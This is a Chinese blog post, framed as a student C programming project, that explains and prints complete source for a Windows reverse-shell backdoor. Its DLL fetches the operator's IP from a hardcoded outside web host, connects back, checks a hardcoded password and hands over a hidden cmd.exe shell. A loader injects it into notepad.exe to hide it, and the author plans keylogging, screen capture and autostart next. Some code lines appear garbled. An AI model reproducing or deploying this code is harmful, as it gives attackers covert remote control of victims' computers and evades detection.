初级后门编程接触
该文章所有代码提供给大家学习与交流使用,为初学者
做个引导
版权为本人所有,此内容为本人C语言课程设计的内容,所以请大家不要乱用
转载时请注明出处
涉及知识:
木马的工作模式
shell
网络编程(主要用的Winsock)
http协议
进程与线程
dll文件
进程注入
设计流程图:
流程解说:
先从客户端开始说起吧~
客户端先将自己的ip上传到一个指定的网页
当然这个可以编程实现每次一连接上网络 客户端自动捕捉自己ip
发送到指定网页
因为时间原因,暂时没时间来写这个
然后客户端程序和服务端程序的启动顺序不需要做任何要求
- 如果客户端先上线 就开始监听端口等待反弹连接
- 如果服务端先上线 就不停地反弹连接客户端的端口 直到客户端上线
然后解说服务端
先用Loader.exe把后门dll加载到一个正常的进程中去实现后门父进程的隐藏
我们这用的一个记事本的进程 notepad.exe
然后开始加载dll里的内容并执行
里面的内容包括 先通过http协议去访问那个指定的网页 把客户端的ip捕获下来
然后对这个ip进行反弹连接
连接上了后
启动密码验证机制
只有输入了正确的密码才会得到cmdshell
这里已经进入后门成功~
如果客户端与服务端断开了连接 服务端会自动退出
一些不足的补充:
在得到cmdshell时 服务端会弹出个cmdshell的对话框
虽然修改了参数 si.wShowWindow=SW_HIDE 但还是没将其隐藏 目前还没弄明白
还有就是进程注入的遗漏 目前是只把父进程dll注入了 所以父进程是被查不出来的
但给出cmdshell时 还没把cmdshell的进程也注入了
这样还是会在进程查看器上查看到cmd.exe
主要还是由于时间原因 比较仓促 以后会继续完善这个木马程序
现在可以用Ice来看端口的情况
看第一行 状态是连接 而进程名 是notepad.exe 就说明进程注入成功了
本地机解说就到这里吧~
还有待增加的功能:
- 将cmdshell进程注入
- 将dll再制作成系统服务来实现开机自启
- 端口复用
- 键盘记录
- 屏幕捕捉
- 将客户端做成GUI形式
附完整代码:
dll 代码
/*-------------------------Welcome to CasperKid BackDoor.dll----------------------------*/
#include<windows.h>
#include<winsock2.h>
#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"kernel32.lib")
SOCKET locals,sock_send;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in s_sin,ServerAddr;
char ip[20];
void Catch_ip()
{
char http_post[]="GET /ip.html HTTP/1.1\r\n"
"Host: cmoses.web.9cidc.com\r\n"
"Connection:close\r\n\r\n";
char buf_ip[1000]="";//接收服务器返回数据缓冲区
int i=0,j=0;
WSADATA WSAdata;//WSA定义
WSAStartup(MAKEWORD(2,2),&WSAdata);//WSA初始化
ServerAddr.sin_family = AF_INET;//服务器域初始化
ServerAddr.sin_addr.s_addr = inet_addr("124.207.114.91");//服务器ip初始化
ServerAddr.sin_port = htons(80);//服务器端口初始化
sock_send=socket(AF_INET,SOCK_STREAM,0);//sock_send参数初始化
connect(sock_send,(struct sockaddr*)&ServerAddr,sizeof(ServerAddr));//连接服务器
send(sock_send,http_post,strlen(http_post),0);//发送http包
recv(sock_send,buf_ip,sizeof(buf_ip),0);//接收服务器返回数据
//printf("%s",buf_ip);//输出服务器返回数据
closesocket(sock_send);
WSACleanup();
for(i=0,j=269;j<=282;i++,j++)
ip=buf_ip[j];
ip='\0';
}
void getshell()
{
char *passwordcheck="lease input the Password:\n";
char *message="-----------------------------\r\n"
"Welcome to CasperKid BackDoor\r\n"
"-----------------------------\r\n";
char password[10]="";
char *R_password="Casper\n";
char *W_password="Your Input Password is wrong!\n";
int timeout=8000,open=1,i=0,len;
Catch_ip();
s_sin.sin_family=AF_INET;
s_sin.sin_port=htons(1234);
s_sin.sin_addr.s_addr=inet_addr(ip);
locals=WSASocket(AF_INET,SOCK_STREAM,0,NULL,NULL,NULL);
if(locals==INVALID_SOCKET)
{
printf("socket wrong.\n");
}
setsockopt(locals,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
setsockopt(locals,SOL_SOCKET,SO_RCVTIMEO,(char*)&timeout,sizeof(timeout));
while(0!=connect(locals,(struct sockaddr*)&s_sin,sizeof(s_sin)));
while(open)
{
memset(password,0,10);
send(locals,passwordcheck,strlen(passwordcheck),0);
len=recv(locals,password,sizeof(password),0);
if(len==SOCKET_ERROR)
exit(0);
if(strcmp(password,R_password)==0)
open=0;
else
send(locals,W_password,strlen(W_password),0);
}
send(locals,message,strlen(message),0);
si.hStdInput=si.hStdOutput=si.hStdError=(void*)locals;
}
int Start()
{
WSADATA wsaData;
if(WSAStartup(MAKEWORD(1,1),&wsaData)!=0)
{
printf("WSAStartup wrong\n");
}
memset(&s_sin,0,sizeof(s_sin));
memset(&si,0,sizeof(si));
si.cb=sizeof(si);
si.dwFlags=STARTF_USESTDHANDLES;
si.wShowWindow=SW_HIDE;
getshell();
CreateProcess(NULL,"C:\\WINDOWS\\system32\\cmd.exe",NULL,NULL,1,NULL,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess,INFINITE);
TerminateProcess(pi.hProcess,0);
CloseHandle(pi.hProcess);
return 0;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
DWORD id;
CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Start,NULL,0,&id);
break;
}
default:
break;
}
return TRUE;
}
Loader 代码:
#include <windows.h>
#include <stdio.h>
#include <Tlhelp32.h>
BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId);//进程注入
DWORD GetProcessIdByName(LPCTSTR name);//主要是枚举进程名,与我们想要注入的做比较,得到目标进程ID
int main()
{
char strname[30];
char dllname[30];
int proID;
printf("想注入哪个进程,比如explorer.exe,请注意大小写:");
scanf("%s",strname);
printf("想把哪个dll注入,请填好完整路径名:");
scanf("%s",dllname);
//1.获取目标<进程>ID
proID=GetProcessIdByName(strname);//通过进程名来获取目标进程ID
InjectDll(dllname,proID);//想要注入的dll注入到目标进程ID
return 0;
}
//开始我们的工作了
BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)
// dllname想要注入的dll proID目标进程ID
{
HANDLE hTargetProcess;//远端进程句柄
char *pszLibFileRemote;
//LPVOID pszLibFileRemote;
//2.打开目标<进程>
//hTargetProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwRemoteProcessId);//打开目标进程(通过进程ID)
hTargetProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);//打开目标进程(通过进程ID)
//3.向目标<进程>地址空间申请内存空间,写入dll名称
// --在目标进程中分配lstrlen(DllFullPath)+1大小的空间以便将我们的DLL的文件名<DllFullPath>作为参数写入目标进程
pszLibFileRemote=(char*)VirtualAllocEx(hTargetProcess,NULL,(lstrlen(DllFullPath)+1),MEM_COMMIT,PAGE_READWRITE);
//pszLibFileRemote=VirtualAllocEx(hTargetProcess,NULL,lstrlen(DllFullPath)+1,MEM_COMMIT,PAGE_READWRITE);
//将返回申请空间的初始地址
// --把我们的DLL文件名<DllFullPath>写入目标进程的内存中
WriteProcessMemory(hTargetProcess,pszLibFileRemote,(void*)DllFullPath,(lstrlen(DllFullPath)+1),NULL);//写入进程内存
// 目标进程 申请空间的初始地址 dll名 空间大小
// --获取远端线程的地址
PTHREAD_START_ROUTINE pfnStartAddr=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"), "LoadLibraryA");
//通过GetProcAddress返回远端线程的地址
//4.在目标<进程>中创建一个远端<线程>来用LoadLibrary进行加载dll
HANDLE hRemoteThread;
if((hRemoteThread=CreateRemoteThread(hTargetProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL))==NULL)//在目标进程中创建远端线程
// 目标进程 远端线程的地址 申请空间的初始地址
{
printf("注入线程失败!");
return FALSE;
}
CloseHandle(hTargetProcess);//关闭句柄 - 远端进程
CloseHandle(hRemoteThread);//关闭句柄 - 远端线程
return TRUE;
}
//主要是枚举进程名,与我们想要注入的做比较,如果是就返回它的ID,ROCESSENTRY32是一个与进程有关的数据结构
DWORD GetProcessIdByName(LPCTSTR name)
{
PROCESSENTRY32 prostruct;
DWORD id=0;
HANDLE hSnapshot;
hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
prostruct.dwSize=sizeof(PROCESSENTRY32);
if(!Process32First(hSnapshot,&prostruct))
return 0;
do
{
prostruct.dwSize = sizeof(PROCESSENTRY32);
if(!Process32Next(hSnapshot,&prostruct))
break;
if(strcmp(prostruct.szExeFile,name)==0)//对进程名枚举比较
{
id=prostruct.th32ProcessID;
break;
}
}while(TRUE);//对进程进行枚举比较
CloseHandle(hSnapshot);
return id;//返回进程ID
}

